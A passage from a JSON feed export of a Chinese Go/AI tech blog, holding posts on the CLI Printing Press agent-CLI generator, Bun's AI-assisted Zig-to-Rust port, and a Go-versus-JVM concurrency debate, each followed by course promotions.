中，一条命令就能启动生产流程：\n/printing-press Notion # 给 Notion API 生成 CLI /printing-press https://espn.com/nba # 直接指向网站，无需 API 文档 为什么选 Go？ 这是一个值得细聊的设计决策。\n在这个 TypeScript、Python 等生产力语言大行其道的时代，CLI Printing Press 选择了 Go，并且坚定地把 Go 作为所有生成产物的语言。原因很现实：\n第一，分发极其简单。 go install 一行命令，跨平台，无依赖。Agent 在运行时动态安装工具，最怕的就是依赖地狱。Go 的静态编译二进制文件是最优解。\n第二，Go 已经被实践证明。 Peter Steinberger 用 Go 写的 gogcli（Google Workspace CLI）拥有 7000+ Star，而 Google 官方之后推出的 Rust 版本，一周冲到 1 万 Star，却在社区中败给了前者。一个用户的评价是：”我 100% 偏好 gogcli，因为它就是能让 Agent 做到它需要做的事。”广度没能打败深度，Rust 没能打败 Go。\n第三，Go 的并发模型非常适合 Agent 的使用场景。 SQLite 批量事务、并发 sync worker、FTS5 全文索引……这些都是 Agent 高频调用场景下的性能关键路径，Go 处理起来得心应手。\n核心机制：它如何做到的？ 每个 API 都有非显见身份（Non-Obvious Insight） 这是整个项目最有哲学深度的设计。\nPrinting Press 在生成任何 CLI 之前，都要先找到这个 API 的”非显见洞察”（NOI），一句话的格式：\n“[API] 不只是 [显而易见的功能]。它是 [非显见的东西]。每个 [数据点] 都是关于 [隐藏真相] 的信号。”\n几个例子，读完你可能会有点震撼：\n这个 NOI 是整个 CLI 的创意 DNA。如果 AI 在研究阶段写不出一个 NOI，说明研究深度不够，Phase 0 不会放行。\n五层创造力梯子 大多数工具停在第 1 层。Printing Press 直接爬到第 5 层。\n第 1 层：API 端点包装命令 ← 99% 的生成工具止步于此 第 2 层：输出格式 (--json, --csv) 第 3 层：本地持久化 (sync, search, SQLite) 第 4 层：领域分析 (stale, orphans, load) ← discrawl 的水准 第 5 层：行为洞察 (health 综合评分, similar 重复检测) ← 目前无人到达 第 3 层以上，才是真正的价值所在。一旦数据落在本地 SQLite，compound 查询就成为可能——这是任何无状态 API 包装器永远做不到的事情。\n本地优先数据层 Printing Press 生成的每个高质量 CLI，都带有一套完整的本地数据层：\n领域特定的 SQLite 表（不是 JSON blob，是真正的关系型结构） FTS5 全文搜索索引 带游标追踪的增量同步 直接 SQL 查询接口 这意味着什么？看一个 Linear 的真实 Demo：\n$ /pp-linear sql \u0026#39;blocked issues whose blocker hasn\u0026#39;t moved in 7 days\u0026#39; 背后执行的是：\nSELECT i.identifier, i.title, age(now(), b.updated_at) AS stuck FROM issues i JOIN issue_relations r ON r.issue_id = i.id JOIN issues b ON b.id = r.related_issue_id WHERE r.type = \u0026#39;blocked_by\u0026#39; AND b.state = \u0026#39;in_progress\u0026#39; AND b.updated_at \u0026lt; now() - interval \u0026#39;7 days\u0026#39;; 结果：\nENG-412 Crash on cold-start blocked 11d ENG-388 Reconnect dropped sockets blocked 9d ENG-301 Backfill missing rows blocked 8d 50 毫秒。本地完成。关键是 Linear 的官方 API 无法回答这个问题。\nAgent-Native 设计哲学 这是 Printing Press 和普通 CLI 生成工具最根本的区别。每一个生成出来的 CLI，都内置了以下设计：\n自动 JSON 输出：终端里显示人性化表格，管道传输时自动切换为 JSON，无需 –json 标志。 –compact 模式：只返回高重力字段（id、name、status、时间戳），减少 60-80% 的 token 消耗。 –dry-run 安全探索：让 Agent 在不执行副作用的情况下验证命令逻辑。 类型化退出码： - 0 = 成功 - 2 = 用法错误 - 3 = 资源未找到 - 4 = 认证失败 - 5 = API 错误 - 7 = 速率限制 Agent 读一个退出码就知道下一步怎么做，不需要解析错误文字，自我纠正只需一次重试。\n为什么 CLI 比 MCP 更适合 Agent？\nCLI 的 token 消耗比 MCP tool definition 少 100 倍。LLM 本来就在 shell 交互上训练过。退出码 0 = 完成。–json | jq 是一流的组合模式。\n这套设计哲学有一句精辟的总结：“Agent-native 设计，就是认真对待 CLI 设计 的结果。”\n无 API 文档？浏览器嗅探搞定 ESPN 没有官方 API。Google Flights 没有公开文档。Dominos 也没有。\nPrinting Press 的解法：启动一个浏览器，你正常点击浏览，它在后台抓取所有 HTTP 流量，逆向工程出 API 结构，自动生成 OpenAPI spec，然后继续走后面的生成流程。\n三种输入模式，覆盖所有场景：\n–spec：直接提供 OpenAPI spec 文件 –har：DevTools 导出的 HAR 流量包 直接 URL：交给浏览器嗅探 工厂流水线，一次生成，双接口输出 每次运行 Printing Press，整个流程分阶段进行：\nPhase 0：解析 \u0026amp; 复用（1-3 分钟） Phase 1：研究简报 — API 身份、竞争对手、数据层、产品论点（5-10 分钟） Phase 1.5：生态吸收门 — 目录化每个 MCP/skill/CLI 的功能，生成吸收清单（5-10 分钟） Phase 1.7：浏览器嗅探门（2-5 分钟） Phase 2：生成 Go CLI + MCP 服务器（1-2 分钟） Phase 3：构建 GOAT — 吸收所有功能 + 超越命令（10-20 分钟） Phase 4：发货检查 — Dogfood + 验证 + 质量评分（3-8 分钟） Phase 5：Live Smoke Test（可选）（2-5 分钟） Printing Press产出的不是一个，而是两个可用工具：\n一个 spec 进去 → \u0026lt;api\u0026gt;-pp-cli Cobra CLI，供 Claude Code / Codex / shell 调用 → \u0026lt;api\u0026gt;-pp-mcp MCP 服务器，供 Claude Desktop / Cursor / Windsurf 使用 两者共享同一个 internal/client、同一个 internal/store、同一套认证逻辑。零代码重复，一套实现，双场景覆盖。\n质量不靠玄学，靠四项机械验证 生成出来的 CLI 质量如何保证？Printing Press 用了一套两层 100 分制评分系统，加四项机械化验证。\n第一层（基础设施，50分）：检查骨架是否正确——输出模式、认证流程、错误处理、Agent-Native 标志、终端 UX、README、Doctor 命令、本地缓存。\n第二层（领域正确性，50分）：检查代码是否真的能跑——生成的 URL 路径是否存在于 OpenAPI spec、认证格式是否和 spec 一致、SQLite 数据管道是否正确连通、是否有死代码和悬挂函数。\nGrade A = 85 分以上。两层都过，才算合格。\n四项行为证明（Proof of Behavior）：\n路径证明：所有生成的命令 URL 都存在于 OpenAPI spec 标志证明：所有注册的 flag 都被至少一个命令引用 管道证明：每个 SQLite 表都有 WRITE 路径（sync）和 READ 路径（search/query） 认证证明：认证头格式和 spec 的 securitySchemes 匹配 任何一项证明失败，会触发自动修复流程，重新验证。\n已打印的 CLI 库：45 个开箱即用 不想自己生成？官方已经打印好了 45 个 CLI，覆盖主流场景：\n旅行：flight-goat（Kayak + Google Flights 双数据源，一条命令搞定长途航班搜索） 体育：espn-pp-cli（17 个体育项目，实时比分、系列赛状态、伤病报告） 生产力：linear-pp-cli（50ms 复合查询）、slack-pp-cli、cal-com-pp-cli 电商：ebay-pp-cli（真正的狙击竞价）、craigslist-pp-cli（历史价格对比、骗局评分） 房产：redfin-pp-cli（内部 Stingray API 嗅探，$/sqft 净 HOA 排名） 美食：dominos-pp-cli（本地最优套餐叠加，这是 Dominos 官网没有的功能） 安装方式同样极简：\n# 一键安装入门四件套 npx -y @mvanhorn/printing-press install starter-pack # 安装指定工具 npx -y @mvanhorn/printing-press install espn sentry linear 两个 CLI 协同工作的真实场景 Printing Press 最打动人的地方，是多个 CLI 可以在同一个 Claude 对话中协同工作。\n场景：我想去看 OKC 的季后赛，怎么买最便宜的机票？\n$ /pp-espn nba okc round 2 game 1 + /pp-flightgoat sea-okc, fly-in same day 两个 CLI，一次对话：\nespn-pp-cli 拉取实时数据：OKC 刚以 131-122 赢了凤凰城，第二轮第一场预计在 5 月 9 日或 10 日 flightgoat-pp-cli 立刻查询：西雅图飞俄克拉荷马城，当天往返 结果：西南航空 $437 往返，推荐 Wanna Get Away+ 可退款票，Frontier 的那班到得太晚，跳过 这不是 Demo，这是真实运行的输出。两个工具各司其职，一个 Agent 对话完成端到端决策。\n写在最后：Go 为什么在 AI 时代逆袭 CLI Printing Press 的出现和走红，其实折射出一个更大的趋势。\nRust 以性能和安全著称，Python 以生态和易用性著称，但在 AI Agent 工具这个细分赛道，Go 正在悄悄胜出。原因很简单：\n分发成本最低：单一静态二进制，go install 一行，Agent 可以动态自安装。 并发模型刚好够用：协程 + channel 处理并发 sync 任务，不过度设计。 SQLite 生态成熟：go-sqlite3、modernc/sqlite，本地优先架构的标准搭档。 工程师接受度高：Agent 调用的工具，背后的人类也要维护，Go 的可读性是优势。 更深层的洞察是：AI Agent 需要的不是最强的工具，而是最可靠、更好用的工具。 打 5 分的输出稳定输出，胜过偶尔打 9 分但不可预测的输出。Go 的 CLI 恰恰提供了这种可靠性。\n而 CLI Printing Press，把这套哲学变成了一条流水线。\n如果你也在构建 AI Agent，或者正在为 Agent 寻找合适的工具层，这个项目值得花半小时认真研究一下。它解决的问题，可能比你意识到的还要根本。\n参考资料 项目地址：github.com/mvanhorn/cli-printing-press 官网：printingpress.dev CLI 库仓库：github.com/mvanhorn/printing-press-library X热搜：https://x.com/i/trending/2052445800421015770 今日互动探讨：\n看完这款“CLI 印刷机”，你觉得在 AI 时代，传统的 RESTful API 是否已经走到了尽头？你最想为哪个原本没有 API 的网站“打印”一个专属工具\n？\n欢迎在评论区分享你的脑洞！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/09/cli-printing-press-intro/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/cli-printing-press-intro-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/09/cli-printing-press-intro\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/09/cli-printing-press-intro\"\u003ehttps://tonybai.com/2026/05/09/cli-printing-press-intro\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e近日，一个名叫 \u003ca href=\"https://github.com/mvanhorn/cli-printing-press\"\u003ecli-printing-press 的开源项目\u003c/a\u003e冲上了 X.com 热搜。它用 Go 写成，解决的是 AI Agent 时代最隐秘、也最致命的痛点——工具不够用，更不好用。\u003c/p\u003e","title":"火爆外网的 Go 开源神器 CLI Printing Press：一键生成 Agent 专属 CLI 工具"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/08/bun-founder-abandons-zig-for-rust-ai-rewrite\n大家好，我是Tony Bai。\n在过去的两年里，Bun 以其闪电般的速度，成为了前端世界挑战 Node.js 霸权的“重量级选手”。\n而它成功的秘诀之一，就是其创始人 Jarred Sumner 极其激进、甚至有些“偏执”的技术选型——全面押注 Zig 语言。\n当全世界都在用 C++、Go、Rust 这些“主流”语言构建底层基础设施时，Bun 却像一个孤独的叛逆者，将自己的身家性命，全部压在了小众但优雅的 Zig 身上。\n但就在前几天，这位“叛逆者”似乎也“背叛”了自己的信仰。\nX 平台上的开发者 Luke Parker 突然发现，Bun 的官方 GitHub 仓库里，出现了一个名为 claude/phase-a-port 的神秘分支。点进去一看，所有人都惊呆了：Bun 的创始人 Jarred Sumner，正在将 Bun 的核心代码，从 Zig 迁移到 Rust！\n更令人震撼的是，这次迁移的主导者，似乎并不是 Jarred 本人，而是一个 AI Agent。\n仓库里一份名为 PORTING.md 的文件，赫然写着给 AI 的指令：\n“你正在将一个 Zig 文件翻译成 Rust。在写任何代码之前，请先读完这份文档。A 阶段的目标，是生成一份能忠实捕捉原始逻辑的 .rs 草稿文件——它甚至不需要能编译通过。”\n这条消息瞬间引爆了整个技术圈。\nZig 社区感到被“背叛”和抛弃。 Rust 社区则一片欢腾，迎来了“又一位巨星的加盟”。 而更多的开发者则在问：这背后到底发生了什么？为什么连 Zig 最忠实的信徒，也投向了 Rust 的怀抱？ 今天，我们就来深度扒开这场顶级项目的“技术叛逃”，看看在 AI 编程席卷一切的时代，编程语言的选择标准，正在发生怎样翻天覆地的变化。\n铁证如山：从 CLAUDE.md 到 2.8 万行代码变更 起初，很多人以为这只是一个愚人节玩笑。\n但随着 Simon Willison 等社区大佬的深挖，越来越多的“铁证”浮出水面：\n巨大的代码量：这个实验性的分支，在一次提交中就变更了 12 个文件，新增了 2.8 万行代码，这绝不是小打小闹。 写给 AI 的“说明书”：那份长达 622 行的 PORTING.md，极其详细地将 Zig 的指针、分配器、错误处理等核心概念，一一映射到了 Rust 的等价物上。这显然是一份给 AI Agent（很可能是 Anthropic 的 Claude Code）看的“操作手册”。 创始人的亲自下场：所有的提交，都来自于 Jarred Sumner 本人。 种种迹象表明：Bun 真的在严肃地考虑，或者至少是在深度探索，用 Rust 来重写自己的 Zig 内核。\n动机拆解：我们为什么要背叛“全世界最好的语言”？ 这就引出了所有人都想问的那个问题：为什么？\nZig 语言以其简单的语法、对 C 语言的无缝兼容、以及对底层内存的精准控制而著称。Jarred Sumner 本人也曾是 Zig 最狂热的布道者。\n但在 X 平台的激烈讨论中，社区大佬们给出了几个推测：\n1. 生态的贫瘠 vs Rust 的(相对)富饶\n这是最核心的原因。Zig 虽然优雅，但它的社区生态，相比于已经“枝繁叶茂”的 Rust 来说，依然是一片“荒漠”。\n当你需要一个成熟的异步运行时、一个功能完备的 HTTP 客户端、或者一个高性能的序列化库时，在 Rust 的 crates.io 上有很多个经过生产环境检验的“轮子”可用。\n而在 Zig 的世界里，很多时候你都不得不“从零手搓”。\n2. 人才的稀缺 vs 社区的规模\nBun 作为一个商业项目，需要不断地招聘顶尖的系统程序员。但现实是，精通 Zig 的开发者凤毛麟角，而 Rust 开发者社区的规模，则要大上几个数量级。\n选择 Rust，就是选择了一个更庞大、更多元的人才库。\n3. 工具链的成熟度\n从强大的 rust-analyzer (LSP)，到无所不能的 cargo，再到各种静态分析、模糊测试工具……Rust 的工具链生态，在过去几年里已经达到了一个相当高的成熟度。\n而 Zig，在这方面依然还有很长的路要走。\n4. 对 AI 的“友好度”\n这是一个极其微妙、却又越来越重要的因素。\nRust 强大的类型系统、详尽的错误信息、以及海量的开源代码（作为训练数据），使得 AI Agent 在生成和修复 Rust 代码时，表现得异常出色。\nAI 就像一个不知疲倦的实习生，而 Rust 严苛的编译器，就是那个最完美的、能 24 小时进行 Code Review 的“导师”。\nAI 作案现场：当“代码重构”成为一种“指令集” 这次事件中最具未来感的，是 Jarred Sumner 选择的重构方式。\n他没有去组建一个庞大的“重写小组”，而是把自己的架构思想，沉淀成了一份给 AI 看的“技术规范”。\nA 阶段：AI 只管“翻译”，不管对错。\n目标是快速地将 Zig 的逻辑，“像素级”地平移到 Rust 文件中。这个阶段的代码，甚至不需要能编译。\nB 阶段：AI 负责“修复”，直到编译通过。\n在这个阶段，AI 将扮演一个“修复工”的角色，不断地与 Rust 编译器搏斗，修复所有权、生命周期等各种编译错误。\n看懂了吗？\n这是一种全新的、堪称“流水线”式的 AI 协同开发模式。人类架构师负责定义“做什么（What）”和“怎么做（How）”，而 AI Agent 负责具体的“执行（Execution）”。\n反思：在 AI 时代，我们该如何选择技术栈？ Bun 与 Zig 的这次“决裂”，像一面镜子，照出了 AI 时代技术选型的新法则。\n法则一：生态的“引力”，正在变得比语法本身更重要\n一门语言的语法再优美，如果它的生态里没有足够多的“轮子”，那么在追求快速迭代的今天，它就必然会被边缘化。AI 加速了代码的生成，也同样加速了对“成熟生态”的依赖。\n法则二：“对 AI 的友好度”，正在成为一门语言的核心竞争力\n一门语言的文档是否完善、错误信息是否清晰、社区代码风格是否统一……这些在过去被认为是“软实力”的因素，在今天，直接决定了 AI 在这门语言上的生产力上限。\n法则三：没有永恒的“信仰”，只有永恒的“取舍（Trade-offs）”\nJarred Sumner 对 Zig 的热爱毋庸置疑。但作为一个顶级项目的负责人，他必须在“个人技术品味”与“项目长期发展”之间，做出最理性的、甚至是痛苦的权衡。\n在工程的世界里，从来没有“最好的”语言，只有“最合适的”工具。\n小结：一场没有硝烟的“换核”战争 Bun 的这次实验性“叛逃”，无论最终是否会合并到主干，都已经为我们揭示了未来十年技术演进的残酷真相：\n在 AI 这头“效率巨兽”的面前，所有的技术壁垒、社区信仰、甚至是个人情感，都可能被无情地碾碎。\n当你的第三个员工是一个名叫 Claude Code 的 AI 时，选择一个它最擅长、能让它发挥最大威力的语言，似乎成了一个无可辩驳的“最优解”。\n这场从 Zig 到 Rust 的“换核”战争，或许只是未来无数场“AI 驱动的技术栈重构”的第一次预演。\n下一个，会是谁？\n资料链接：\nhttps://x.com/i/trending/2051505180647227556 https://github.com/oven-sh/bun/blob/46d3bc29f270fa881dd5730ef1549e88407701a5/docs/PORTING.md https://github.com/oven-sh/bun/tree/claude/phase-a-port 今日互动探讨：\n你如何看待 Bun 创始人“抛弃”Zig 的行为？是理性的商业决策，还是对开源精神的背叛？在 AI 时代，你认为 Go、Rust、Zig 这三门语言，谁的未来更光明？\n欢迎在评论区分享你的看法！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/08/bun-founder-abandons-zig-for-rust-ai-rewrite/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/bun-founder-abandons-zig-for-rust-ai-rewrite-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/08/bun-founder-abandons-zig-for-rust-ai-rewrite\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/08/bun-founder-abandons-zig-for-rust-ai-rewrite\"\u003ehttps://tonybai.com/2026/05/08/bun-founder-abandons-zig-for-rust-ai-rewrite\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在过去的两年里，Bun 以其闪电般的速度，成为了前端世界挑战 Node.js 霸权的“重量级选手”。\u003c/p\u003e\n\u003cp\u003e而它成功的秘诀之一，就是其创始人 Jarred Sumner 极其激进、甚至有些“偏执”的技术选型——\u003cstrong\u003e全面押注 Zig 语言\u003c/strong\u003e。\u003c/p\u003e","title":"Bun 创始人带头“叛逃”：放弃 Zig，用 AI 把项目重写成 Rust？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/07/aws-guru-slams-go-concurrency-as-a-joke-vs-jvm\n大家好，我是Tony Bai。\n过去十年，如果要在后端技术圈选出一个“金字招牌”，那无疑是 Go 语言的并发。\n凭借其极简的 go 关键字和优雅的 channel，Go 将并发编程的门槛从“博士级”拉到了“入门级”。在云原生和微服务的浪潮中，Go 几乎就是“高并发”的代名词。\n但就在前几天，AWS 的资深布道师 James Ward，在 X 平台上突然向 Go 语言的这个“优势高地”发起了猛烈炮轰：\n“开发者普遍认为 Go 在并发方面很出色。但事实并非如此。JVM 的方案要优越得多。当你把虚拟线程、结构化并发和 Effects 加进来时，它甚至是全行业最好的方案之一。”\n为了证明自己的观点，他还引用了前 Google 工程师 Ahmetb（以其在 K8s 社区的贡献而闻名）设计的一道极其刁钻的并发编程“考题”——实现一个工业级的、线程安全的网络连接池。\n这道题，像一块试金石，炸出了 Go 并发模型背后那些被“易用性”所掩盖的无数“天坑”。\n这场由大神发起的“语言战争”，瞬间引爆了技术圈。从前 Uber 工程师到 Victoria Metrics 的核心开发者，无数 Gopher 下场“护驾”。\n今天，我们就来复盘这场神仙打架，看看当 Go 的“平民法拉利”遭遇现代 JVM 的“德系重装甲”时，到底谁才是真正的并发之王？\n战火的点燃：一道价值千金的“并发考题” 让我们先来看看点燃这场战争的导火索，Ahmetb 设计的这道“连接池”考题：\n你需要实现一个线程安全的、有界连接池。\nAcquire()：当池中无可用连接时，必须阻塞。必须响应 context 的超时和取消。\nRelease()：归还连接。如果池已满或连接已损坏，则关闭连接而不是泄漏。\nClose()：必须干净利落地关闭整个池。停止接受新请求，立即关闭所有空闲连接，并等待所有正在被使用的连接被归还后，再关闭它们。\nIdleTimeout：自动清理超过空闲时长的连接。\n这道题，看似简单，实则布满了“杀机”。\n它几乎涵盖了并发编程中所有最令人头疼的场景：资源限制、优雅启停、生命周期管理、超时与取消、后台清理……\nAhmetb 坦言：\n“如果你享受 Go 的并发原语，那就挑战一下自己去实现它。这里面的边缘情况，比我最初想象的要多得多。”\n而 James Ward 正是借着这道题，打出了他的第一炮：用 Go 的原生 channel 和 select 去完美地解决所有这些问题，其代码量和心智负担，将远超现代 JVM 的解决方案。\n两派的交锋：Go 的“野路子” vs JVM 的“正规军” 面对 James 的炮轰，评论区迅速分裂成两大阵营。\nGo 阵营（以实战派为首）的反击：\n前 Uber 工程师 Ovais Tariq 现身说法：\n“Go 在高并发工作负载下更优越——这是我在 Uber 运营大规模 Go 服务的实践经验。”\n另一位开发者则指出了 Go 的核心优势：\n“我完全同意（Go 更优）。这个工具（Go）被创造出来，就是为了无缝处理成千上万个大部分时间都在‘等待’I/O 的任务。在这个角色上，Go 至今仍然表现卓越。”\nGo 阵营的核心观点是：Go 的并发模型（Goroutine + Channel），就像一把简单、锋利的匕首。它足够轻、足够快，虽然需要使用者自己具备高超的技巧，但在真实的、海量的 I/O 密集型场景下，它的实战表现就是最好的证明。\nJVM 阵营（以理论派为首）的降维打击：\nJames Ward 则对这些“实践经验”嗤之以鼻：\n“真的吗？像 Scala ZIO 这样的 Effect 调度器和虚拟线程，在安全处理非阻塞任务时，看起来比 Goroutine 要容易得多。”\nJVM 阵营的核心观点是：Go 的并发原语太“低级”了。 它把所有关于取消、超时、错误传播、资源清理的复杂性，全部甩给了开发者。而现代 JVM 生态，通过虚拟线程、结构化并发（Structured Concurrency）和函数式 Effect 系统（如 ZIO, Arrow Fx），已经从语言和框架层面，为你提供了一套“三位一体”的、体系化的解决方案。\n虚拟线程：让 JVM 拥有了和 Goroutine 一样廉价的“百万级”并发能力。 结构化并发：强制所有并发任务拥有清晰的父子关系和生命周期，彻底消灭“野 Goroutine”和资源泄漏。 Effect 系统：用类型系统来管理异步任务的副作用，让并发代码像写同步代码一样清晰和安全。 这场争论的本质，是“游击队”与“正规军”的对决。Go 提供了最灵活的单兵作战武器，而 JVM 则提供了一整套陆海空协同作战的军事体系。\nGo 的“平民化”哲学 vs JVM 的“专家级”哲学 在这场混乱的口水战中，Victoria Metrics 的工程师 Phuong Le 的一篇复盘长文，将整个讨论提升到了哲学的高度。\n他没有去争论谁快谁慢，而是深刻地剖析了两种技术路线背后的设计哲学差异：\n“Go 在并发方面并不差。一个更真实的说法是：Go 擅长让并发变得廉价、显式和易于上手，尤其是在常见的后端模式中。”\nPhuong Le 指出，Go 的核心优势在于**“平民化（Approachable）”**。\n它用极其简单的原语，让一个普通的开发者，也能快速地写出“看起来能用”的并发代码。但这种“简单”的代价是，它把大量的“正确性”责任，下放给了开发者自己。\n“Go 给了你相对低级的原语。大量关于取消、任务生命周期、清理、错误传播和背压的正确性保证，都留给了我们程序员自己去处理。”\n而现代 JVM 生态，则走向了另一个极端——“专家系统”。\n它试图在框架和语言层面，构建一个极其复杂、但理论上绝对安全的“象牙塔”。开发者需要学习大量的概念（Monad, Functor, Fiber…），但一旦学会，就能获得极高的安全性保障。\nPhuong Le 的结论是：\n“所以，公平的比较不是‘Go vs JVM，谁赢？’，而是：Go 优化的是简单的、实用的并发；而现代 JVM 生态，拥有更强大的工具来处理结构化的、资源安全的并发。 到底哪个更好，取决于你面临的并发问题有多复杂。”\n你的团队，需要匕首还是航母？ 这场神仙打架，最终没有赢家。但它为我们所有后端架构师，提供了一次极其宝贵的“架构选型”公开课。\n1. 承认 Go 的“天花板”\n我们必须承认，Go 的原生并发原语，在处理极其复杂的、需要精细化资源管理的场景时，确实存在“天花板”。Ahmetb 的那道“连接池”考题，就是一个完美的试金石。如果你团队的业务复杂到这种程度，直接引入一个成熟的第三方库（或者评估 JVM 生态），可能比自己手搓 Channel 要明智得多。\n2. 警惕 JVM 的“学习曲线”\n虚拟线程虽然抹平了 JVM 在并发“数量”上与 Go 的差距，但结构化并发和 Effect 系统，依然是较为陡峭的学习曲线。在一个追求快速迭代、人员流动频繁的团队里，引入这些“重型武器”的培训成本和心智负担，是必须被严肃评估的。(注：不知道有多少Java开发至今也没有使用过虚拟线程)\n3. “足够好”也许就是最好的\n评论区里，Jacob Voytko 的观点极具代表性：\n“Go 的并发原语并非在所有方面都理想，但对于终端用户（业务开发者）大多数时候写的那些东西来说，它们是完美的。管理 fan-in/fan-out、处理带超时的异步任务……对于这些 80% 的场景，Go 的‘足够好’方案已经足够了。”\n小结：没有银弹，只有权衡 这场由 James Ward 发起的“Go 并发之战”，最终以一场关于“架构权衡（Trade-offs）”的深刻反思而告终。\n它像一面镜子，照出了我们这个行业最真实的底色：从来没有“最好的”语言，只有“最适合的”场景。\nGo 的成功，在于它用最简单的武器，解决了云原生时代最大多数的并发问题。它的哲学，是牺牲一部分理论上的“完美”，去换取工程上的“极致效率”。\n而现代 JVM 的进化，则代表了另一种可能：通过不断叠加更高级的抽象，去追求一个理论上“绝对安全”的并发乌托邦。\n作为架构师，我们的终极使命，不是去争论哪条路更高贵，而是在理解了所有路径的代价之后，为我们的团队、我们的业务，选择那条最务实的、能活着走到终点的路。\n资料链接：\nhttps://x.com/JamesWard/status/2049498133013344285 https://x.com/func25/status/2050243999123009662 https://x.com/ahmetb/status/2049341220707844340 今日互动探讨：\n你如何看待 James Ward“Go 并发不行”的观点？在你的实战中，Goroutine+Channel 是否真的“够用”？或者你更期待 Go 能引入类似 JVM 的“结构化并发”？\n欢迎在评论区分享你的看法！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 